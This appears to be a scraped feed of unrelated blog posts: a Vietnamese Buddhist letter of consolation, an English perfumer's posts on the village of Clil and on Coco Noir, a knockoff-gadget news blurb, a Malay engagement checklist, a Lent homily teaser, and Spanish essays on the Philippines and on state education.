    Muốn chuyển đổi sự đau khổ không gì bằng là tâm phải an vui, tâm phải nhìn thẳng vào cuộc đời. Đời toàn là ác pháp, là đau khổ như vậy. Đời mấy ai thương ai chân thật, thương sao làm khổ nhau quá vậy? Thương sao tạo cảnh khổ cho nhau…

    Hãy tha thứ cho những người làm con khổ đau, hãy buông xuống những gì đang đau khổ trong lòng con.

    “Buông xuống đi! Hãy buông xuống đi!
    Chớ giữ làm chi có ích gì.
    Thở ra chẳng lại còn chi nữa
    Vạn sự vô thường buông xuống đi!”

    Buông xuống tất cả mọi đau khổ trong lòng con thì ngay đó tâm con sẽ thấy an vui, thanh thản. Phải không con?

    Còn nếu con không sáng suốt cứ ôm ắp mãi trong lòng những nỗi đau thương thì con phải chịu lấy sự khổ đau ấy, đấy là con bị qui luật của nhân quả chuyển biến và đang trả quả khổ đau. Còn nếu con xem đó là một điều hiển nhiên trong giai đoạn xã hội loài người đang bế tắc đạo đức nhân bản làm người. Vì thế con người ngày nay cứ mãi làm khổ cho nhau. Phải không con?

    Chuyện đời có gì buồn đâu con ạ! Tất cả đều vô thường, nhà cửa, của cải, tài sản đều vô thường ngay cả bản thân của con cũng vô thường. Có ai giữ của cải, châu báu, ngọc ngà mãi đâu con! Khi xuôi tay trở về lòng đất thì có ai còn mang theo được những gì, ngay thân này còn phải bỏ, có gì giữ gìn được đâu mà không buông xuống phải không con?

    Buông xuống để tâm hồn thanh thản, an vui; buông xuống để xem những người làm ác gây đau thương, rồi họ sẽ đi về đâu?

    Buông xuống, buông xuống để giòng nước mắt con thôi chảy, để con còn đủ sức khỏe nuôi và dạy dỗ hai đứa con thơ dại đang nương vào đôi cánh tay yếu đuối của người mẹ thân thương, chúng còn biết trông cậy vào ai hỡi con?

    Hãy nghe lời Thầy con ạ! Con hãy tự thắp đuốc lên, soi mà đường đi, con đường buông xả, con đường thanh thản, an lạc và vô sự, con đường hạnh phúc vô cùng con ạ! Ngoài con ra không còn ai giúp con được. Hãy mạnh dạn đứng lên con ạ! Đừng yếu đuối, hãy nhìn thẳng về phía trước. Dù đường đời có cay đắng khắc nghiệt bao nhiêu, con hãy xem nó như một tuồng cải lương trên sân khấu. Có gì thật đâu mà buồn khổ. Phải không con! Một trò diễn xuất của nhân quả có đáng gì cho con phải bận tâm đau lòng.

    Cảnh đời đen bạc, đó là những việc thường xảy ra trong cuộc đời này, có gì mà phải bận tâm con ạ! Nó đến rồi nó sẽ đi, chỉ cần giữ gìn tâm bất động trước nó là nó chuyển đổi được sự khổ đau thành sự an vui ngay liền. Hãy nghe lời Thầy đi con!

    Thăm và chúc con đầy đủ nghị lực vượt qua những điều cay đắng của cuộc đời.

    Kính thư

    Thầy của con.

    Trưởng Lão Thích Thông Lạc
    Và đây là bộ sÆ°u tập (tạm thời) sách của Thầy Thích Thông Lạc mà tác giả Blog đã download từ các trang web trên, bạn có thể tải về: Click tại đây

              Location, location, location...         
    Medieval Citadel
    view from one of the trails within the village, overlooking the medieval fort in the nearby kibbutz Yehiam (it's about an hour hike from the studio)
    As of Spring 2017, our courses will take place at Ayala Moriel's new studio in Clil, Israel. This charming little organic village is situated in one of the country's most fascinating regions, the Western Galilee, and is overlooking the Mediterranean sea (gorgeous beaches are only 20min drive), Haifa Bay and Mount Carmel. Clil provides a unique experience for students who choose to stay here* - I'd describe it as a 180 from Vancouver, for better or for worse. Here are a few details so you can get the picture (and photos from different seasons too!).
    This off-the-grid village is solar-powered and has small population of under 1000 people, who live in custom-built homes and semi-temporary dwellings (yurts, teepees, modified train cars and shipping containers, etc.) that are scattered among ancient olive groves and wild bush and Mediterranean garrigue (comprising of carobs, oaks, pistachia and thorny bushes). Despite its size, the village is a community bustling with life and culture: our neighbours are the village's cafe (inside a tent) that is opened Thursday-Saturday and hosts live concerts, and there. A large percentage of the population are alternative healers (we're just across the "street" from an integrated holistic clinic offering massage, acupuncture, ayurvedic treatments, and more) as well as creative artists, who have their ateliers in the village - and some would also be happy to show you around - painters, sculptors, potters, glass artists, silversmiths and goldsmiths, basket weavers, etc. 
    Dusty pastoralia #clil
    Clil in summer: View of the village from the mountain behind my house.
    There is a bakery that is opened twice a week (Sunday and Thursday) and offers Pizza Nights on Tuesdays. On all other days, fresh sourdough breads by other artisanal bakeries can be pre-ordered by phone, or purchased at the local Organic Garden (which tops off their own produce with other fruit and vegetables and organic goodies produced in the village and by nearby artisans). Also less relevant but sometimes handy are the village's book exchange and clothing exchange, which is open 24/7 and is completely free (take what you want and leave what you no longer use - it can come handy if you forgot to bring a hoodie or a book to read). There are three restaurants in the village - Smadar b'Clil, Cafe Clil and Chef Hagit Lidror's Vegan & Vegetarian kitchen (she will be providing most to the catering to our courses, by the way) - which also makes healthy smoothies and mouthwatering raw chocolate treats (she also teaches raw chocolate making workshops!).
    Made in Clil
    The "shop local" sign, where you can find various things made in the village. It's located right next to Cafe Clil (which is our next-door neighbours to the east)
    Accommodations within the village include one boutique hotel, one guest house (India-style "hostel" on the second level of one of our neighbours) and countless cute cabins for short-term rent - some also offering breakfast as part of the service. Sublets among the village's inhabitants are often listed and could be arranged if booked enough in advance, and also near Cafe Clil there is a small campsite for those who enjoy a fully rustic experience, as well as Meshiv Nefesh - the centre for meditation, which also has plenty of camping space around it for individuals and groups. If you choose to stay outside of the village - we are only 20-30min drive (depending on traffic) from lovely towns that offer also many wonderful attractions to visitors - i.e. Acre and Nahariya. 
    In short - there are plenty of places to explore and people to meet in Clil, so I'm sure you will enjoy your visit and find things to do and discover outside of the classroom. 
    Olives and Donkeys
    Ancient olive grove in winter, at the centre of the village. Near it there is now an organic garden and grocery store
    You can enjoy the many hiking trails in the village all on your own (including one in Wadi Yehiam leading to the medieval citadel in Kibbutz Yehiam) - or hire the local tour guide who knows the place from the day he was born (happens to also be my brother!). There are also trail rides on horses. Thursday evenings there is a little market in the village's playground, weather permitting. And watch out for the live music at the cafe - where you can listen to up and coming artists and even already famous ones, in a very intimate setting (and the artists is usually kept as a surprise till the last minute, to prevent over crowding of the venue). The beaches nearby (only 20 minutes drive) also offer year-around conditions for swimming, surfing, SUP, and sea kayaking.
    Clil is not only a place where people live differently, but also offers an alternative culture for visitors who seek to take a break from the fast-paced modern lifestyle. It's no ordinary rural place - it is bustling with music, culinary innovations, art, healing and meditations workshops and alternative medicine gatherings, and a place where one can engage and interact with artists and artisans that live here. In short - it seemed like the perfect place to return to and continue my artisan perfumery work - and create a sanctuary for this art.
    * You don't have to stay within the village - there are also plenty of interesting places around to stay in, such as Akre and Nahariya - but keep in mind that in that case vehicle is a must as public transit in and out of the village only comes twice a day, very early and very late. 

              Coco Noir        
    Coco Noir

    Sometimes we get attached to perfumes because they speak to us. Other times, it is pure coincidence that creates an imprint on our minds and adds meaning to the scent that we would have otherwise not found in it.

    These past few months I've been wearing copious amounts of Coco Noir. I've received the parfum extrait from a friend as a goodbye gift, and somehow it did not seem right to stuff it on the shipping container. Probably because I was too curious about it. At the same time I was too scared to open it, because starting a new perfume at a time of great change can create too strong of an impression - and I knew that there are many challenges ahead of me. I definitely did not want to open it at the time of our departure - I was an emotional mess, after three months of intensive packing and very little sleep... So I waited for a while for the dust of traveling to settle, and opened it about a week or two after arriving in Israel. It was a time of terrible weather (weeks and weeks on end of dry desert wind and over-the-top temperatures) not to mention - great emotional turmoil and immigrant adventures - and we are still in the midst of it, but I have enough levelheadedness now to reflect a bit, as things are finally starting to fall into place: my daughter will start school on Sunday, our home renovations are about halfway through, and my mental state allows me to pass entire days without crying (but still happens about once a week, because I end up hitting a brick wall of some sort at least in that frequency).

    Coco Noir is a modern "dark" concoction, which means that instead of oily aldehydes and animalic base, it has clean florally laced with white musks and underlying notes of vetiver and patchouli. It isn't exactly a fruitchouli, but it borders on that territory, with a clean ambreine accord (not unlike Prada Ambre Intense Pour Homme) - which means it has vanillin, patchouli and bergamot galore in it. However, there is also a spicy cacao accord (or perhaps it's just an illusion of that - created by the spicy cloves notes alongside the benzoin, vanillin and coumarin) which is quite prominent, which reminds me of Notorious - only that it continues much better in my opinion (it does not have as much musk, which in Notorious gives me a piercing feeling through my nostrils). It gradually softens and develops around the heart of jasmine and rose, and leads smoothly to the end: Dryout is a mellow, powdery confection, with hints of heliotrope (not unlike La Petite Robe Noire - but with non of the saccharine qualities of the latter).

    Coco Noir is more accessible, in my opinion, than Coco is. I love the original, even though I do not own it. It has a big persona and feels over-the-top for daily wear. I would only imagine wearing it when I'm all dressed up for a very sepcial event in the middle of winter. Instead, it provides with a very modern comfort in my overtly rustic living arrangement (which is only temporary, sort of...). It's a scent that inevitably will conjure up scent memories from this time of re-settling in my home village: having this sleek, elegant, opaque black glass square bottle around reminds me of my urban side and that I'm not going to be forever wading in mud to and from the yurt, and struggling with every little aspect of life. There is still place for elegance and luxury in my life even in this off the grid spot in between two major life periods.

    Another great reminder of this truth: whenever I stick my nose inside my shipping container, which smells still like my very fragrant home studio in Vancouver. My friend chose this fragrance because it reminded him of how my perfume smelled. I think I now get what he's talking about: it's very much like this "smell of everything, all at once" that you get from my workspace: dried coumarinic herbs (liatrix, tonka), vetiver roots, patchouli, countless flowers, herb oils and spices... All mingled with woodsy oils and the scent of antique furniture.

    I'm grateful for having this point of view portrayed to me via a bottle of fragrance chosen for me.

    Top notes: Cedarwood, Bergamot, Orange, Grapefruit
    Heart notes: Rose, Jasmine, Narcissus, Geranium, Peach, Carnation, Cloves
    Base notes: Patchouli, Vetiver, Sandalwood, Benzoin, Frankincense, Musk, Vanilla, Heliotropin, Tonka
              Whimsical Monique L'huillier collection for Pottery Barn Kids        
    Goodness, Pottery Barn Kids sure knows how to create dreamy spaces that children adore. My girls are mad for all the looks created in collaboration with Monique L'huillier - it's a world of whimsy and elegance that stands out from the more graphic looks that we've been seeing in kids' interiors lately. Come along with me to the launch of the Monique L'huillier Collection with Pottery Barn Kids in Sydney recently...

    Read more »
              Droid X360 goes for the KIRF prize, antagonizes Microsoft, Motorola and Sony at the same time (video)        

    Droid X360 PS Vita clone goes for the KIRF prize, antagonizes Microsoft, Motorola and Sony at the same time

    Can we establish a KIRF award for Most Likely to Invite Multiple Lawsuits? If so, Long Xun Software would have to claim the statuette for its Droid X360, at least if it dared set foot in the US. This prime example of keepin' it real fake is even more of a PS Vita clone than the Yinlips YDPG18, but goes the extra mile with a name that's likely to irk Microsoft, Motorola, Verizon and George Lucas all at once. That's even discounting the preloaded emulators for just about every pre-1999 Nintendo, Sega and Sony console. Inside, you'll at least find a device that's reasonably up to snuff: the 5-inch handheld is running Android 4.0 on a 1.5GHz single-core Quanzhi A10 processor, 512MB of RAM, 8GB of built-in space, a 2-megapixel camera at the back and a VGA shooter at the front. If the almost gleeful amount of copyright and trademark violation isn't keeping you from wanting this award-winner, you'll have to ask Long Xun for pricing and availability.

              Checklist / Tips Sebelum Tunang : E-Day Part 1        

    ** LAST UPDATE : 21/9/2016
    (click here to updated post)

    Hi korang

    Debar-debar pulak kite nak hapdet entry kali ni. Wahhhhh gittew! Update kali ni lebih kepada checklist, senang sikit kalau nak check balik to-do, budget ke, senarai-senarai butik yang nak diterjah ke.. so, entry kali ni akan sentiasa diupdate time-to-time. Ala.. boleh recycle je post ni kalau hari nak kawen nanti.. wakakakak!

    Sejujurnya, budget is my utmost priority. Memang nak minimize sehabis boleh sebab saving wanie nanti nak spend banyak untuk persediaan rumah baru nanti. Huwaa... rumah lagi, nak kawen lagi... seb baik keta tak meragam sampai nak kena tukar pakai Subaru XV STI pun cantik jugak.. eh~~?? Tunang-tunang ni pun, sebab permintaan dari pihak keluarga. Nak kawen pun sebab dah kena bising, dorang cakap nak tunggu sampai kertu keeewww.. hahahah~ kalau nak ikut tak ready, memang sampai sudah tak pernah nye ready kan. Hahaha.. ok dah merepek meraban.

    1.  Cincin tunang (budget 1k ke bawah je sudah), time nikah nanti dah taknak cincin. So sebentuk ni dah cukup. Nikah nanti mungkin gelang je kut.
    //cincin ada diamond mana ada 1k.. dah survey.. hahahah.. lepas discuss dengan Teddy, budget cincin dalam below RM 1800 . uwaaa... gelang tak beli lagi.... 
    8/8 - hahahah budget mender? ke lauutttt lepas pergi tengok kat Habib Ampang. rambang mata dari pergi usha-usha Wah Chan.. dah tengok-tengok, so weekend ni insyallah pergi pulak dan beli terus.. hehehe

    2.  Hantaran (idea) - Budget below RM 400
    ** Kemeja
    ** Chocolate and cookies
    ** Kek / caramel pudding
    ** Buah-buahan
    ** Perfume
    ** Belt
    ** Cupcakes
    ** Potpouri
    ** Pulut kuning
    ** Sejadah
    ** Telekung

    3.  Makeup (to survey)
    ** Shu Eumura (approx RM 80 - blog)
    ** MAC (RM 190-265 ) - check this link
    ** MUA
    ** makeup dari bridal boutique
    ** beli makeup sendiri

    4.  Baju (budget below RM 400)
    ** (mahal ni.. hahahaha, tapi nak cuci mata boleh lah)
    ** Ampang Park 
    ** SACC Mall & Plaza Alam Central
    8/8 : ok, baju dah confirm dan alhamdulillah, RM 260 je

    5.  Pelamin and photographer (to be determine later, macam not necessary je)
    //photographer mama dah talk dengan kawan dia, murah ya amat! kawan mama cakap sebab dah kenal bagi RM 50-100 je dah, siap dengan gambar edit nanti.. alahai.. tak tergamak nak bagi murah sangat, RM 150 ok kut... sebab request softcopy je nanti..

    6.  Food (budget RM 400-500)
    ** nasi
    ** lauk pauk
    ** agar-agar
    ** air
    //untuk tunang, mama cakap dia dah jumpa kawan dia, budget dalam RM7/head. So, mungkin ambik untuk 50-70 tetamu. so still dalam budget below RM 500

    7.  Goodies bag (time tunang kena bagi ke eh? tapi list down idea juga lah)
    ** potpouri
    ** kuih/kek span atau kek buah + air mineral/kotak
    ** candies
    ** yassin + tasbih
    ** nuts/honey/cookies in cute jar
    ** pudding (buat sendiri pun ok jugak)

    Goodies link for idea :
    *** ( boleh walk in ke P6, Block C, GM Klang Wholesale City, Jalan Kasuarina 1, Klang )

              Homily: First Sunday of Lent Cycle A        
    It seems that before Christ was ready to begin his ministry it required barren time in the desert – a place of solitude without distractions. It is there that needed to wrestle with the same temptations we still face today: power, possessions and prestige. And on this first Sunday of Lent we journey into our personal deserts where we are called to ‘repent’ or in other words, ‘to turn around.’ It seems only in that type of liminal space can we find true transformation. Why? And, what does that type of transformation sound like? Click the link below and see what I mean!
              SÍ, HAY UN PAÍS QUE SE LLAMA FILIPINAS...        

    ¿Para qué sirve un reinado de belleza? Los reinados son muy útiles porque no sirven para nada. Nos sirven para no pensar... y bueno nos enseñan que existe Filipinas y que queda en Asia. Dan espectáculo, enseñan que Confucio se inventó la confusión (Señorita Panamá 2009) "y también del mismo y en el sentido contrario" (Señorita Antioquia 2008). Y los reinados nos recuerdan que "estamos para darnos cariño, para darnos amor" (Señorita Antioquia 2008). Esto tratando de emular un sistema de citas digno de los reinados. Claro pero tienen la utilidad de trascender la psicología geográfica mundial... ¿En serio hay un país que se llama Filipinas? La gente en Colombia -quizás en el mundo- aprende de geopolítica, geografía e historia haciendo chismografía sobre reinados de belleza. Así que más allá del reinado y del "ese país existe" hablemos de Filipinas...

    Geografía psicológica de las tragedias

    Geografía Filipina y Sistema Político...
    Sí gente que en común padece una arbitrariedad llamada Colombia, hay un país que se llama Filipinas, son 7107 islas al sur del mar de China y al norte de Malasia e Indonesia. En total ocupan un área de 300.000 Km2 y su población es de 100 millones de habitantes. Fueron colonia española y de Estados Unidos. Idiomas oficiales Tagalo e Inglés, pero hablan otros como el Cebuano (que allá conocen como Bisaya). Entre sus islas se transportan en ferry. 
    Mapa de Filipinas
    Política y economía...
    Filipinas tiene la mitad del ingreso per cápita de Colombia.  Su moneda el Peso Filipino PHP es alrededor de 70 COP. El Peso Colombiano se ha devaluado también frente al PHP. Pero en todo caso, los salarios en Filipinas siguen siendo inferiores a los de Colombia. En general me parece un país barato. Al igual que Colombia el excesivo presupuesto público en Filipinas también desaparece. ¿Por qué? Porque al igual que en Colombia en Filipinas los políticos son "honestos"... Sin embargo, en Filipinas los únicos ricos son los políticos que "honestamente" se aprovechan del Pondo público. Bueno, las celebridades también tienen plata allá...

    Tienen una economía altamente proteccionista que prácticamente prohíbe los negocios de los extranjeros. Ningún extranjero puede adquirir propiedad raíz. Los casos comunes de jurisprudencia en propiedad es si un extranjero que compra a través de un filipino pueden transferir legítimamente propiedad a un tercero. Lo que, contrario a mis amigos de izquierda, es para mí la razón por la cual no tienen el desarrollo de Hong Kong, Singapur o Malasia. Filipinas es uno de los pocos países que no le exige Visa a los colombianos...claro si no siguen poniendo estupideces en redes sociales. Por culpa de algunos colombianos es que a otros nos da vergüenza mostrar el pasaporte. 

    Esa arbitrariedad llamada estado también genera problemas políticos en Asia. Hay un problema de aguas territoriales como Colombia. Colombia lo tiene con Nicaragua, algo la verdad relativamente fácil de lidiar. Pero ¿con quién tiene ese diferendo limítrofe Filipinas? ¡Con China! Un país conquistador y con un poder fuerte. En Filipinas por su pobreza y pequeño ejército tienen miedo al imperialismo del gobierno Chino. Por eso la pregunta de las bases militares. 

    ¿Actitud conspirativa...?
    Contrario a la cultura colombiana, en Filipinas no ven robos improvisados en cada esquina. Para ellos básicamente se trató de una situación muy incómoda, y un error de buena fe lo que pasó en el reinado. Si fuera lo contrario ¿cómo sería la actitud de este país sudaca?

    Cultura y religión...
    Los filipinos tienen un respeto por los mayores, algo común en la cultura asiática. A todo hombre mayor se le dice kuya y a toda mujer mayor ate. Su lenguaje utilizando la palabra po cambia a una expresión más educada. Por ejemplo, Salamat po es más educado que sólo salamat. Eso significa "gracias". En Colombia no hay respeto por los mayores sino por los cartones...

    Algunas palabras o curiosidades

    Kumustá ... Viene el español ¿Cómo está? Y es el saludo.
    Paki Significa por favor
    Pagbati Significa "feliticationes"
    Ako ay mula sa Kolombiya: Significa soy de Colombia en Tagalo.
    Paano mo sabihin? Cómo se dice?
    Mahal kita... Te quiero o te amo...
    Oo Sí
    Hindi No
    Ang babae Mujer
    Ang lalaki hombre
    Ang pusa Gato
    Ang tubig agua
    Ang = el/la/los/las
    ng= de (de pertenencia)
    sa= de (de procedencia)

    Es un idioma en el que uno ve muchas a, muchas m y n, muchas g y muchas p. Tienen una letra que es la ng que para mí suena como una ñ, aunque para ellos es más dulce.

    Es quizás el único país mayoritariamente cristiano de Asia con amplia influencia católica, aunque hay otras iglesias...

    Es muy curioso porque la influencia española en Filipinas duró más que en Colombia. ¿Por qué no hablan entonces español? ¿Por qué conservaron sus idiomas regionales pero aceptaron la religión? Si los españoles eran... lo que todo el mundo piensa... ¿No debería ser Filipinas un país donde se hablara español? 

    ¿Qué piensan de Colombia?
    Pero tranquilos que en Filipinas también desconocen de Colombia. Pero, a diferencia de Filipinas, Colombia es un país mucho más "x". Ellos creen que latinoamérica es como México. Aunque tienen razón porque latinoamérica es mera telenovela. Empezando por la política colombiana entre Uribe y Santos. Semejante divorcio no habría podido ser anticipado por ningún guionista mexicano. Y pase a Venezuela con Maduro y sus llantos "ya no les doy casa porque han roto mi corazón. A quien mi comandante nombró desde su corazón". Siga con Ecuador y "van a matar al Presidente". Y sobre latinoamérica no entienden el chiste de que el papa es el único Argentino humilde jajaja...

    También insisten en que hay una gran diferencia entre los ojos de los asiáticos. Claro, de la misma manera que no somos mexicanos. No es lo mismo los ojos de un chino, de un japonés y de un coreano... Ni los de un rolo... Para nosotros todos son chinos. Encuentre las diferencias...

    En Colombia pensamos que Manila es el componente de un sobre. No, Manila es la capital de Filipinas. El sobre efectivamente es hecho con cáñamo que se cultivaba en la región de Manila.

    A diferencia del orgullo de acá, ellos creen que las mujeres latinas son las más bonitas. ¿Por qué? ¡Porque suelen ganarse los reinados de belleza! Y puede que Ariadna no haya quedado de primera, pero había dos colombianas en ese escenario...

    En fin... qué importa quién gane el reinado. Hay mujeres lindas aquí y allá, 17.000 km de distancia, idiomas, culturas, creencias y economía deben unirnos en aquel gran trasfondo de humanidad. Somos humanos, dejemos de compararnos y recordemos como dijo la señorita Antioquia "estamos para darnos cariño, para darnos amor". Que Confucio no invente la confusión y conozcamos más allá de las diferencias las similitudes que tienen dos países tan extraños como Colombia y Filipinas...  

    (Imagen tomada de GRUBER, 2010, pág. 308)
    Esta semana hablábamos mi hermano y yo acerca de una propuesta educativa, estudiar pero no por un diploma. Yo le añadiría ni por una nota. El tema de la educación me llama particularmente la atención por varias razones, en primer lugar, soy el que maneja los costos de transacción (impuestos, contratos, contabilidad, planeación financiera y tesorería) de una fundación cuyo mayor objetivo es resolver problemas sociales a través de la educación. Pero, ¿qué es la educación? ¿Cómo se vive la educación? 

    La educación actualmente es vista como un programa que tienen que recibir todas las personas, desarrollar unos exámenes, a cambio de obtener un diploma. Claro que el diploma es un papel y como el rey de la foto lo puede dar cualquiera... y generar naciones "educadas". Se supone que el estado "controla" la educación de "garaje", pero en sí mismo él es el promotor de que los estudiantes se preocupen por una nota (y hagan lo que sea por ella) o un diploma más que por sacar provecho y aprender. Antes las instituciones de "garaje" "facilitan el objetivo" de la "educación", OBTENER FÁCILMENTE UN DIPLOMA. Por otro lado, el estado considera la educación como un "bien público" que genera "externalidades" positivas... y niños medicados, deprimidos y sintiéndose inútiles porque los hacen ver matemática avanzada cuando ellos quieren es bailar, correr, o lo contrario, otros queremos ver matemáticas y nos hacen correr en extenuantes jornadas más allá de nuestras fuerzas. ¡Vaya externalidad "positiva"!

    ¿Por qué el estado se debe preocupar por la "educación"? ¿Por qué gasta la mayor parte de su presupuesto en ella? Las razones de política económica que se leen en el libro Public Finance and Public Policy de Jhonatan Gruber son las que consideraremos a continuación.


    En primer lugar, consideran que la educación es un bien semi público (GRUBER, 2010, págs. 292, 293 y 294) y que con base en eso va a haber fallas de mercado y problemas de redistribución. ¿Realmente es así? Más adelante procederemos a esta objeción.

    Por otro lado, consideran que la educación aumenta la productividad (GRUBER, 2010, pág. 292) eso de alguna manera es cierto. Pero hay que preguntarse ¿para quién? El experto en educación Sir Ken Robinson sostiene que esa es la razón por la cual reforman la educación (ROBINSON), pero precisamente ese modelo genera caos en la vida de muchas personas. ¿Todos somos para el conocimiento académico?  Dicen que mejorar la productividad genera una externalidad positiva, pero y ¿Qué pasa con aquellos que simplemente fueron excluidos porque no eran considerados por el modelo? ¿Eso no es una perversa externalidad negativa tener niños tristes y drogados para atender a cosas que no les interesan?

    La tercera razón es la más perversa de todas. La educación genera “buenos ciudadanos” (GRUBER, 2010, pág. 293). Claro que con contenidos ideológicos y cátedras de lo que el estado que muchos nos quejamos es corrupto. Pero claro, se lanza un señor con una campaña de lápiz –como si el lápiz genera aprendizaje en sí mismo- y todo el mundo va a pensar ¡qué buen candidato! ¡Va a ideologizar a nuestros niños! 


    La forma cómo se mete el estado en la educación es en primer lugar ofreciéndola como servicio gratuito. Esto no parece tan perverso. Lo que genera es el problema de la sobredemanda del bien gratuito y por ende salones atiborrados "aptos para el aprendizaje".

     Sin embargo, la mentalidad intervencionista, hace que el estado ofrezca otra intervención y es la estandarización. Esta estandarización es la forma más perversa de intervención del estado en la educación, porque pone un prototipo de seres humanos que deben cumplir con ciertas habilidades que no necesariamente son las que el mercado laboral requiere. Refiriéndose a la perversa alienación de toda política intervencionista nos dice José Alpiniano García Muñoz lo siguiente no tanto de lo alienante sino de por qué falla este modelo:

    "Al igual que el plan general de los bolcheviques, estos agregados estadístidos [que son el fundamento de la macroeconomía] no reconocen la singularidad humana que torna útiles las cosas.Entonces el mecanismo social deviene ajeno a la realidad. Sería necesario acudir a tantas cosas que resulta imposible que alguien particularmente pueda señalarlo.  La economía debe considerar multiplicidad de factores que además son variables." (GARCÍA-MUÑOZ, 2012, pág. 53)
    ¿Qué multiplicidad de factores debe considerar? Nada más y nada menos que la PARTICULARIDAD HUMANA. Particularidad humana que es única y exclusivamente cognosible por cada individuo. Así que el estado lo que hace con la educación es crear prototipos de personas y excluir a aquellos que no han sido considerados por el programa que es incapaz de considerarlos. Adicionalmente genera toda clase de efectos secundarios en la sociedad ¿Cuál es el más grave? No tanto que los profesores hagan trampa o sometan a los estudiantes a jornadas extenuantes para sacar un mejor puntaje en las pruebas "SABER". Es aquellos que la "educación" estandarizada excluye porque sus puntajes los hacen quedar como "inútiles". Si usted es un colegial o un universitario y está leyendo esto piense que lo que se requiere para las pruebas SABER es pensar lo que el estado quiere que usted le conteste. Por ejemplo, puede no creer en la democracia pero conteste que la democracia es el mejor sistema, ¡pero es una mentira!... Pues es una forma de burlarse de lo arbitrario que son las evaluaciones y simple una broma y ellos creerán que el sistema funciona... Conozco dos casos frente a estas pruebas que pensamos así, el mío y el de un cucuteño, se sorprendían de lo bien que nos fue en esas pruebas...


    Es falso que la educación sea un bien público, por el contrario se refiere a la parte más singular de la persona.
    En primer lugar si el ser humano es particular y solamente él puede conocerse a sí mismo, la educación no bien público ni semi-público sino una actividad absolutamente privada. Lo que pertenece a la conciencia y la intimidad del sujeto no es cognoscible más que por el propio sujeto. ¿Qué vendría siendo la educación entonces? Una ayuda para que cada quien se conozca a sí mismo y un apoyo para que como la sentencia de Píndaro que alguna vez le leí a Alpiniano cada quien devenga lo que es en sus habilidades. Esto podría sonar como un ideal, como un imposible, pero por el contrario es NUESTRA PROPIA CONDICIÓN ANTROPOLÓGICA la que determina la privacidad de la educación. Los colegios hacen lo contrario obligan a los niños a aprender unos contenidos iguales, ahora dizque desarrollar unas competencias y la arbitrariedad del estado lo medirá.

    Esto genera entonces varias preguntas ¿Cómo ayudar a que cada quien se conozca a sí mismo? ¿De quién es función? De los padres, por eso el movimiento del Homeschooling  no solamente es una salida para el excesivo bullying causado en parte por la estandarización, sino que es un movimiento que vuelve a la raíz verdadera de la educación: ¡ayudar a sus hijos al autoconocimiento!  A continuación unas razones que expuse en otro escrito para otro blog de cómo hacer esto:

    "Por lo tanto, mi querido Alcibiades, los Estados (léase ciudades) para ser dichosos no tienen necesidad de murallas, ni de buques, ni de arsenales, ni de tropas, ni de grande aparato; la única cosa de que tienen necesidad para su felicidad es la virtud. Por consiguiente, mi querido Alcibiades, si quieres ser dichoso tú y que lo sea la república, no es preciso un grande imperio, sino la virtud." (2)

    Pero ¿Cómo alcanzar la virtud? La tradición iniciada con Sócrates parte de iniciar la búsqueda del conocimiento del “sí mismo”. Al respecto algunos filósofos como Kierkegaard (3) le han dado un desarrollo tal que, quizás interpretándolo exageradamente, consisten en no imitar absolutamente nada, o el famoso “desnudarse” de Fernando González (4). Sócrates, en su reconocida tendencia aristocrática –pero de la verdadera- nos propone la imitación de la virtud “Y antes de adquirir esta virtud, lejos de mandar, es mejor obedecer, no digo a un niño, sino a un hombre, siempre que sea más virtuoso que él.” (2).

    Hemos visto que el bien común nace del bien y la virtud de los seres humanos y que la virtud surge del auto-conocimiento. Pero ¿cómo promover que los hombres se conozcan? ¿Obedeciendo e imitando a la virtud? Es allí donde la educación juega un papel importante en esta idea. A pesar del pésimo modelo educativo actual que se basa en la repetición de ideas pre-establecidas o diseñadas o pensadas para la producción en cadena (5), como para empacar a todos en la misma caja útil a la sociedad [como la canción Little Boxes]. Pero ¿cumple la función de enseñar a conocernos a nosotros mismos? ¿Sirve para conocer? Al vivir de hábitos los seres humanos podremos repetir fácilmente las ideas aprendidas en el colegio y en muchos casos en la universidad pero ¿de qué servirán? Inclusive el aprendizaje por repetición puede considerarse, en términos lógicos, como una falacia conocida como Argumentum ad nauseam (6) y eso no genera virtud (2)." (TORO RESTREPO, 2011)

    Una de las preguntas que pueden surgir es el uso del término obedecer. Los padres suelen haber desarrollado una serie de virtudes que el hijo puede imitar. Esa sería mi forma de entender el término de obedecer como como el subordinarse sino el aprendizaje de la virtud del virtuoso. 

    La educación puede aumentar ingresos pero hacernos vivir en el hastío. Además, profesiones mejor pagadas no implican eficiencia.
    La segunda razón es que la educación aumenta la productividad y genera efectos Spill over sobre toda la sociedad. Yo aprendo de los demás y los demás aprenden de mí. Eso es cierto. Pero las super correlaciones que indican que una "mejor educación" implica un mejor "ingreso" no significan que eso sea un mayor bienestar para la sociedad. Me explico, uno en la universidad ve muchos temas, pero a medida que se especializa separa los que le gustan de los que le disgustan. Y uno puede dedicarse a trabajos de mayores ingresos que no es lo que verdaderamente la persona vino a dar al mundo. A este lo llamaremos el efecto prostitución. En últimas el efecto prostitución no es más que la alienación de ganar ingresos por aquello que no nos gusta. Kafka es uno de los autores que mejor conoce la alienación de trabajar lo que no somos, en "El Proceso" muestra cómo la sociedad lo está persiguiendo permanentemente. Más que una novela sobre el debido proceso es una novela sobre el juicio que el estado y su expresión social masificada el sistema nos está exigiendo; que seamos lo que no somos. Por otra parte, en la metamorfosis se muestra cómo el "buen empleo" tal vez sea convertirnos en una cucaracha o bicho raros. No somos lo que somos porque la educación y las políticas nos desvían de nuestra realidad, de lo que somos realmente. 

    Al respecto en versión hispanoamericana tenemos a Facundo Cabral con su canción "Bombero". La canción muestra exactamente las exigencias que hace la sociedad en el proceso de Kafka, un juicio que no comprende. Al final se vuelve abogado -y qué profesión más alienante eligió-. Posiblemente si comparamos a un bombero con un abogado, aquel gana más que éste: ¡retornos de la educación! ¿Eficientes? Su felicidad particular y el destino de muchos se pierden, a la sombra de la alienación. Es el razonamiento hipotético de lo que no fue, pero hay algo claro con más ingresos, no fue lo que era, asumiendo que siendo bombero no hubiera podido idear un proceso que salvara muchas vidas y lo hiciera rico.  Hay varias frases que son muy llamativas al respecto:

    El reflejo que nos muestra la sociedad en la alienación
    es supuestamente belleza, cuando realmente estamos
    • “Desde su galaxia tendrá que aprender a ser como todos, y tirar la llave del eterno sueño de ser o no ser.”
    • "Al fin de los días sentado a la sombra de su realidad, y desde la infancia, como en un espejo, la casa paterna, juguetes y amigos y aquel despilfarro de la libertad."
    • <<El viejo se apaga y vuelve a su mente el niño soñando con ser o no ser, cerrando los ojos se va lentamente por última vez: “bombero, bombero, yo quiero ser bombero, que nadie se meta con mi identidad”>>.
